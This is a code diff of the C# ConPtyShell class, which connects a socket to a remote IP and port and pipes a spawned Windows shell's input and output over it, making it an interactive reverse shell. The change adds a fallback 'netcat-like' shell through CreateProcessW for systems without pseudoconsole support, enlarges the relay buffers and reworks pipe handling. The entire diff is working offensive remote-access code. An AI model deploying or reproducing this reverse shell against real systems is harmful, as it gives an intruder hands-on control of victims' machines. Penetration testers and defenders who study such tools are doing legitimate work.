@@ -13,8 +13,10 @@ public static class ConPtyShell
1313 private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008 ;
1414 private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016 ;
1515 private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000 ;
16+ private const uint CREATE_NO_WINDOW = 0x08000000 ;
17+ private const int STARTF_USESTDHANDLES = 0x00000100 ;
18+
1619 private const UInt32 INFINITE = 0xFFFFFFFF ;
17- private const int SW_HIDE = 0 ;
1820 private const uint GENERIC_READ = 0x80000000 ;
1921 private const uint GENERIC_WRITE = 0x40000000 ;
2022 private const uint FILE_SHARE_READ = 0x00000001 ;
@@ -91,6 +93,9 @@ private struct COORD
9193 [ return : MarshalAs ( UnmanagedType . Bool ) ]
9294 private static extern bool CreateProcess ( string lpApplicationName , string lpCommandLine , ref SECURITY_ATTRIBUTES lpProcessAttributes , ref SECURITY_ATTRIBUTES lpThreadAttributes , bool bInheritHandles , uint dwCreationFlags , IntPtr lpEnvironment , string lpCurrentDirectory , [ In ] ref STARTUPINFOEX lpStartupInfo , out PROCESS_INFORMATION lpProcessInformation ) ;
9395
96+ [ DllImport ( "kernel32.dll" , SetLastError = true , CharSet = CharSet . Auto ) ]
97+ private static extern bool CreateProcessW ( string lpApplicationName , string lpCommandLine , IntPtr lpProcessAttributes , IntPtr lpThreadAttributes , bool bInheritHandles , uint dwCreationFlags , IntPtr lpEnvironment , string lpCurrentDirectory , [ In ] ref STARTUPINFO lpStartupInfo , out PROCESS_INFORMATION lpProcessInformation ) ;
98+
9499 [ DllImport ( "kernel32.dll" , SetLastError = true ) ]
95100 [ return : MarshalAs ( UnmanagedType . Bool ) ]
96101 private static extern bool TerminateProcess ( IntPtr hProcess , uint uExitCode ) ;
@@ -106,10 +111,10 @@ private struct COORD
106111
107112 [ DllImport ( "kernel32.dll" , SetLastError = true ) ]
108113 private static extern bool CloseHandle ( IntPtr hObject ) ;
109-
114+
110115 [ DllImport ( "kernel32.dll" , CharSet = CharSet . Auto , SetLastError = true ) ]
111- private static extern bool CreatePipe ( out IntPtr hReadPipe , out IntPtr hWritePipe , IntPtr lpPipeAttributes , int nSize ) ;
112-
116+ private static extern bool CreatePipe ( out IntPtr hReadPipe , out IntPtr hWritePipe , SECURITY_ATTRIBUTES lpPipeAttributes , int nSize ) ;
117+
113118 [ DllImport ( "kernel32.dll" , CharSet = CharSet . Auto , CallingConvention = CallingConvention . StdCall , SetLastError = true ) ]
114119 private static extern IntPtr CreateFile ( string lpFileName , uint dwDesiredAccess , uint dwShareMode , IntPtr SecurityAttributes , uint dwCreationDisposition , uint dwFlagsAndAttributes , IntPtr hTemplateFile ) ;
115120
@@ -130,19 +135,12 @@ private struct COORD
130135
131136 [ DllImport ( "kernel32.dll" , SetLastError = true ) ]
132137 private static extern bool GetConsoleMode ( IntPtr handle , out uint mode ) ;
133-
134- [ DllImport ( "kernel32.dll" , SetLastError = true , ExactSpelling = true ) ]
135- private static extern bool FreeConsole ( ) ;
136138
137- [ DllImport ( "kernel32.dll" ) ]
138- [ return : MarshalAs ( UnmanagedType . Bool ) ]
139- private static extern bool AllocConsole ( ) ;
139+ [ DllImport ( "kernel32.dll" , CharSet = CharSet . Auto ) ]
140+ private static extern IntPtr GetModuleHandle ( string lpModuleName ) ;
140141
141- [ DllImport ( "user32.dll" ) ]
142- private static extern bool ShowWindow ( IntPtr hWnd , int nCmdShow ) ;
143-
144- [ DllImport ( "kernel32.dll" ) ]
145- private static extern IntPtr GetConsoleWindow ( ) ;
142+ [ DllImport ( "kernel32" , CharSet = CharSet . Ansi , ExactSpelling = true , SetLastError = true ) ]
143+ private static extern IntPtr GetProcAddress ( IntPtr hModule , string procName ) ;
146144
147145 private static Socket ConnectSocket ( string remoteIp , int remotePort ) {
148146 Socket s = null ;
@@ -178,10 +176,16 @@ private static void TryParseRowsColsFromSocket(Socket shellSocket, ref uint rows
178176 }
179177 }
180178
179+ private static void CreatePipes ( ref IntPtr InputPipeRead , ref IntPtr InputPipeWrite , ref IntPtr OutputPipeRead , ref IntPtr OutputPipeWrite ) {
180+ int securityAttributeSize = Marshal . SizeOf < SECURITY_ATTRIBUTES > ( ) ;
181+ SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES { nLength = securityAttributeSize , bInheritHandle = 1 , lpSecurityDescriptor = IntPtr . Zero } ;
182+ if ( ! CreatePipe ( out InputPipeRead , out InputPipeWrite , pSec , 0 ) )
183+ throw new InvalidOperationException ( "Could not create the InputPipe" ) ;
184+ if ( ! CreatePipe ( out OutputPipeRead , out OutputPipeWrite , pSec , 0 ) )
185+ throw new InvalidOperationException ( "Could not create the OutputPipe" ) ;
186+ }
187+
181188 private static void InitConsole ( ) {
182- FreeConsole ( ) ;
183- AllocConsole ( ) ;
184- ShowWindow ( GetConsoleWindow ( ) , SW_HIDE ) ;
185189 IntPtr hStdout = CreateFile ( "CONOUT$" , GENERIC_READ | GENERIC_WRITE , FILE_SHARE_READ | FILE_SHARE_WRITE , IntPtr . Zero , OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL , IntPtr . Zero ) ;
186190 IntPtr hStdin = CreateFile ( "CONIN$" , GENERIC_READ | GENERIC_WRITE , FILE_SHARE_READ | FILE_SHARE_WRITE , IntPtr . Zero , OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL , IntPtr . Zero ) ;
187191 SetStdHandle ( STD_OUTPUT_HANDLE , hStdout ) ;
@@ -204,22 +208,10 @@ private static void EnableVirtualTerminalSequenceProcessing()
204208 }
205209 }
206210
207- private static int CreatePipesAndPseudoConsole ( ref IntPtr handlePseudoConsole , ref IntPtr ConPtyInputPipeWrite , ref IntPtr ConPtyOutputPipeRead , uint rows , uint cols ) {
211+ private static int CreatePseudoConsoleWithPipes ( ref IntPtr handlePseudoConsole , ref IntPtr ConPtyInputPipeRead , ref IntPtr ConPtyOutputPipeWrite , uint rows , uint cols ) {
208212 int result = - 1 ;
209- IntPtr ConPtyInputPipeRead = new IntPtr ( 0 ) ;
210- IntPtr ConPtyOutputPipeWrite = new IntPtr ( 0 ) ;
211- if ( ! CreatePipe ( out ConPtyInputPipeRead , out ConPtyInputPipeWrite , IntPtr . Zero , 0 ) )
212- throw new InvalidOperationException ( "Could not create the ConPtyInputPipe" ) ;
213- if ( ! CreatePipe ( out ConPtyOutputPipeRead , out ConPtyOutputPipeWrite , IntPtr . Zero , 0 ) )
214- throw new InvalidOperationException ( "Could not create the ConPtyOutputPipe" ) ;
215- InitConsole ( ) ;
216213 EnableVirtualTerminalSequenceProcessing ( ) ;
217214 result = CreatePseudoConsole ( new COORD { X = ( short ) cols , Y = ( short ) rows } , ConPtyInputPipeRead , ConPtyOutputPipeWrite , 0 , out handlePseudoConsole ) ;
218- // Note: We can close the handles to the PTY-end of the pipes here
219- // because the handles are dup'ed into the ConHost and will be released
220- // when the ConPTY is destroyed.
221- CloseHandle ( ConPtyInputPipeRead ) ;
222- CloseHandle ( ConPtyOutputPipeWrite ) ;
223215 return result ;
224216 }
225217
@@ -270,21 +262,22 @@ private static PROCESS_INFORMATION CreateChildProcessWithPseudoConsole(IntPtr ha
270262 private static void ThreadReadPipeWriteSocket ( object threadParams )
271263 {
272264 object [ ] threadParameters = ( object [ ] ) threadParams ;
273- IntPtr ConPtyOutputPipeRead = ( IntPtr ) threadParameters [ 0 ] ;
265+ IntPtr OutputPipeRead = ( IntPtr ) threadParameters [ 0 ] ;
274266 Socket shellSocket = ( Socket ) threadParameters [ 1 ] ;
275- byte [ ] bytesToWrite = new byte [ 1024 ] ;
267+ uint bufferSize = 16 * 1024 ;
268+ byte [ ] bytesToWrite = new byte [ bufferSize ] ;
276269 bool readSuccess = false ;
277270 Int32 bytesSent = 0 ;
278271 uint dwBytesRead = 0 ;
279272 do {
280- readSuccess = ReadFile ( ConPtyOutputPipeRead , bytesToWrite , 1024 , out dwBytesRead , IntPtr . Zero ) ;
273+ readSuccess = ReadFile ( OutputPipeRead , bytesToWrite , bufferSize , out dwBytesRead , IntPtr . Zero ) ;
281274 bytesSent = shellSocket . Send ( bytesToWrite , ( Int32 ) dwBytesRead , 0 ) ;
282275 } while ( bytesSent > 0 && readSuccess ) ;
283276 }
284277
285- private static Thread StartThreadReadPipeWriteSocket ( IntPtr ConPtyOutputPipeRead , Socket shellSocket ) {
278+ private static Thread StartThreadReadPipeWriteSocket ( IntPtr OutputPipeRead , Socket shellSocket ) {
286279 object [ ] threadParameters = new object [ 2 ] ;
287- threadParameters [ 0 ] = ConPtyOutputPipeRead ;
280+ threadParameters [ 0 ] = OutputPipeRead ;
288281 threadParameters [ 1 ] = shellSocket ;
289282 Thread thThreadReadPipeWriteSocket = new Thread ( ThreadReadPipeWriteSocket ) ;
290283 thThreadReadPipeWriteSocket . Start ( threadParameters ) ;
@@ -294,23 +287,24 @@ private static Thread StartThreadReadPipeWriteSocket(IntPtr ConPtyOutputPipeRead
294287 private static void ThreadReadSocketWritePipe ( object threadParams )
295288 {
296289 object [ ] threadParameters = ( object [ ] ) threadParams ;
297- IntPtr ConPtyInputPipeWrite = ( IntPtr ) threadParameters [ 0 ] ;
290+ IntPtr InputPipeWrite = ( IntPtr ) threadParameters [ 0 ] ;
298291 Socket shellSocket = ( Socket ) threadParameters [ 1 ] ;
299292 IntPtr hChildProcess = ( IntPtr ) threadParameters [ 2 ] ;
300- byte [ ] bytesReceived = new byte [ 8 ] ;
293+ uint bufferSize = 16 * 1024 ;
294+ byte [ ] bytesReceived = new byte [ bufferSize ] ;
301295 bool writeSuccess = false ;
302296 Int32 nBytesReceived = 0 ;
303297 uint bytesWritten = 0 ;
304298 do {
305- nBytesReceived = shellSocket . Receive ( bytesReceived , ( Int32 ) 8 , 0 ) ;
306- writeSuccess = WriteFile ( ConPtyInputPipeWrite , bytesReceived , ( uint ) nBytesReceived , out bytesWritten , IntPtr . Zero ) ;
299+ nBytesReceived = shellSocket . Receive ( bytesReceived , ( Int32 ) bufferSize , 0 ) ;
300+ writeSuccess = WriteFile ( InputPipeWrite , bytesReceived , ( uint ) nBytesReceived , out bytesWritten , IntPtr . Zero ) ;
307301 } while ( nBytesReceived > 0 && writeSuccess ) ;
308302 TerminateProcess ( hChildProcess , 0 ) ;
309303 }
310304
311- private static Thread StartThreadReadSocketWritePipe ( IntPtr ConPtyInputPipeWrite , Socket shellSocket , IntPtr hChildProcess ) {
305+ private static Thread StartThreadReadSocketWritePipe ( IntPtr InputPipeWrite , Socket shellSocket , IntPtr hChildProcess ) {
312306 object [ ] threadParameters = new object [ 3 ] ;
313- threadParameters [ 0 ] = ConPtyInputPipeWrite ;
307+ threadParameters [ 0 ] = InputPipeWrite ;
314308 threadParameters [ 1 ] = shellSocket ;
315309 threadParameters [ 2 ] = hChildProcess ;
316310 Thread thReadSocketWritePipe = new Thread ( ThreadReadSocketWritePipe ) ;
@@ -326,19 +320,42 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows
326320 return output ;
327321 }
328322 TryParseRowsColsFromSocket ( shellSocket , ref rows , ref cols ) ;
329- IntPtr ConPtyInputPipeWrite = new IntPtr ( 0 ) ;
330- IntPtr ConPtyOutputPipeRead = new IntPtr ( 0 ) ;
323+ IntPtr InputPipeRead = new IntPtr ( 0 ) ;
324+ IntPtr InputPipeWrite = new IntPtr ( 0 ) ;
325+ IntPtr OutputPipeRead = new IntPtr ( 0 ) ;
326+ IntPtr OutputPipeWrite = new IntPtr ( 0 ) ;
331327 IntPtr handlePseudoConsole = new IntPtr ( 0 ) ;
332- int pseudoConsoleCreationResult = CreatePipesAndPseudoConsole ( ref handlePseudoConsole , ref ConPtyInputPipeWrite , ref ConPtyOutputPipeRead , rows , cols ) ;
333- if ( pseudoConsoleCreationResult != 0 )
334- {
335- output += string . Format ( "{0}Could not create psuedo console. Error Code {1}" , errorString , pseudoConsoleCreationResult . ToString ( ) ) ;
336- return output ;
328+ PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION ( ) ;
329+ CreatePipes ( ref InputPipeRead , ref InputPipeWrite , ref OutputPipeRead , ref OutputPipeWrite ) ;
330+ InitConsole ( ) ;
331+ if ( GetProcAddress ( GetModuleHandle ( "kernel32" ) , "CreatePseudoConsole" ) == IntPtr . Zero ) {
332+ Console . WriteLine ( "\r \n CreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r \n " ) ;
333+ STARTUPINFO sInfo = new STARTUPINFO ( ) ;
334+ sInfo . cb = Marshal . SizeOf ( sInfo ) ;
335+ sInfo . dwFlags |= ( Int32 ) STARTF_USESTDHANDLES ;
336+ sInfo . hStdInput = InputPipeRead ;
337+ sInfo . hStdOutput = OutputPipeWrite ;
338+ sInfo . hStdError = OutputPipeWrite ;
339+ CreateProcessW ( null , commandLine , IntPtr . Zero , IntPtr . Zero , true , 0 , IntPtr . Zero , null , ref sInfo , out childProcessInfo ) ;
337340 }
338- PROCESS_INFORMATION childProcessInfo = CreateChildProcessWithPseudoConsole ( handlePseudoConsole , commandLine ) ;
341+ else {
342+ Console . WriteLine ( "\r \n CreatePseudoConsole function found! Spawning a fully interactive shell...\r \n " ) ;
343+ int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes ( ref handlePseudoConsole , ref InputPipeRead , ref OutputPipeWrite , rows , cols ) ;
344+ if ( pseudoConsoleCreationResult != 0 )
345+ {
346+ output += string . Format ( "{0}Could not create psuedo console. Error Code {1}" , errorString , pseudoConsoleCreationResult . ToString ( ) ) ;
347+ return output ;
348+ }
349+ childProcessInfo = CreateChildProcessWithPseudoConsole ( handlePseudoConsole , commandLine ) ;
350+ }
351+ // Note: We can close the handles to the PTY-end of the pipes here
352+ // because the handles are dup'ed into the ConHost and will be released
353+ // when the ConPTY is destroyed.
354+ if ( InputPipeRead != IntPtr . Zero ) CloseHandle ( InputPipeRead ) ;
355+ if ( OutputPipeWrite != IntPtr . Zero ) CloseHandle ( OutputPipeWrite ) ;
339356 //Threads have better performance than Tasks
340- Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket ( ConPtyOutputPipeRead , shellSocket ) ;
341- Thread thReadSocketWritePipe = StartThreadReadSocketWritePipe ( ConPtyInputPipeWrite , shellSocket , childProcessInfo . hProcess ) ;
357+ Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket ( OutputPipeRead , shellSocket ) ;
358+ Thread thReadSocketWritePipe = StartThreadReadSocketWritePipe ( InputPipeWrite , shellSocket , childProcessInfo . hProcess ) ;
342359 WaitForSingleObject ( childProcessInfo . hProcess , INFINITE ) ;
343360 //cleanup everything
344361 thThreadReadPipeWriteSocket . Abort ( ) ;
@@ -347,10 +364,10 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows
347364 shellSocket . Close ( ) ;
348365 CloseHandle ( childProcessInfo . hThread ) ;
349366 CloseHandle ( childProcessInfo . hProcess ) ;
350- ClosePseudoConsole ( handlePseudoConsole ) ;
351- if ( ConPtyInputPipeWrite != IntPtr . Zero ) CloseHandle ( ConPtyInputPipeWrite ) ;
352- if ( ConPtyOutputPipeRead != IntPtr . Zero ) CloseHandle ( ConPtyOutputPipeRead ) ;
353- output += "\r \n ConPtyShell kindly exited.\r \n " ;
367+ if ( handlePseudoConsole != IntPtr . Zero ) ClosePseudoConsole ( handlePseudoConsole ) ;
368+ if ( InputPipeWrite != IntPtr . Zero ) CloseHandle ( InputPipeWrite ) ;
369+ if ( OutputPipeRead != IntPtr . Zero ) CloseHandle ( OutputPipeRead ) ;
370+ output += "ConPtyShell kindly exited.\r \n " ;
354371 return output ;
355372 }
356373}
0 commit comments